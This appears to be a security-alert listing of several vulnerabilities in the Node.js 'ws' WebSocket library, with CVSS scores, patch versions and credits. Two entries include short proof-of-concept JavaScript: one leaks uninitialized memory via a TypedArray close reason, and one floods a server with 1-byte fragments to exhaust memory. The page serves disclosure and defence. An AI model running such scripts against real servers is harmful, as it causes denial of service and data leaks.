Where
-Infinity
0

Vendor Risk Score

See how ws project compares to other vendors in security performance

View Risk Score →
Severity
7.5
AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

Impact

The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.

Proof of concept

js import { deepStrictEqual } from 'node:assert'; import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer( { port: 0, skipUTF8Validation: true }, function () { const { port } = wss.address(); const ws = new WebSocket(ws://localhost:${port}, { skipUTF8Validation: true });

ws.on('close', function (code, reason) { deepStrictEqual(reason, Buffer.alloc(80)); }); } );

wss.on('connection', function (ws) { ws.close(1000, new Float32Array(20)); });

Patches

The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).

Credits

Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.

Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Resources

- https://github.com/advisories/GHSA-58qx-3vcg-4xpx - https://www.cve.org/CVERecord?id=CVE-2026-45736

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

js import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(ws://localhost:${port});

ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); });

ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(client close - code: ${code} reason: ${reason.toString()}); }); });

wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(server close - code: ${code} reason: ${reason.toString()}); }); });

Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Buffer Overflow
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

A vulnerability was found in the ping functionality of the ws module before 1.0.0 which allowed clients to allocate memory by sending a ping frame. The ping functionality by default responds with a pong frame and the previously given payload of the ping frame. This is exactly what you expect, but internally ws always transforms all data that we need to send to a Buffer instance and that is where the vulnerability existed. ws didn't do any checks for the type of data it was sending. With buffers in node when you allocate it when a number instead of a string it will allocate the amount of bytes.

1 / 2
First published (updated )
Severity
7.5
Input Validation
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

ws is a "simple to use, blazing fast and thoroughly tested websocket client, server and console for node.js, up-to-date against RFC-6455". By sending an overly long websocket payload to a ws server, it is possible to crash the node process. This affects ws 1.1.0 and earlier.

First published (updated )
Severity
5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

WebSockets ws library for Node.js is vulnerable to a denial of service, caused by a regular expression denial of service (ReDOS) flaw in the in Sec-Websocket-Protocol header. By sending a specially-crafted regex input, a remote attacker could exploit this vulnerability to cause a slow down on the ws server, and results in a denial of service condition.

1 / 2
Source: IBM
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203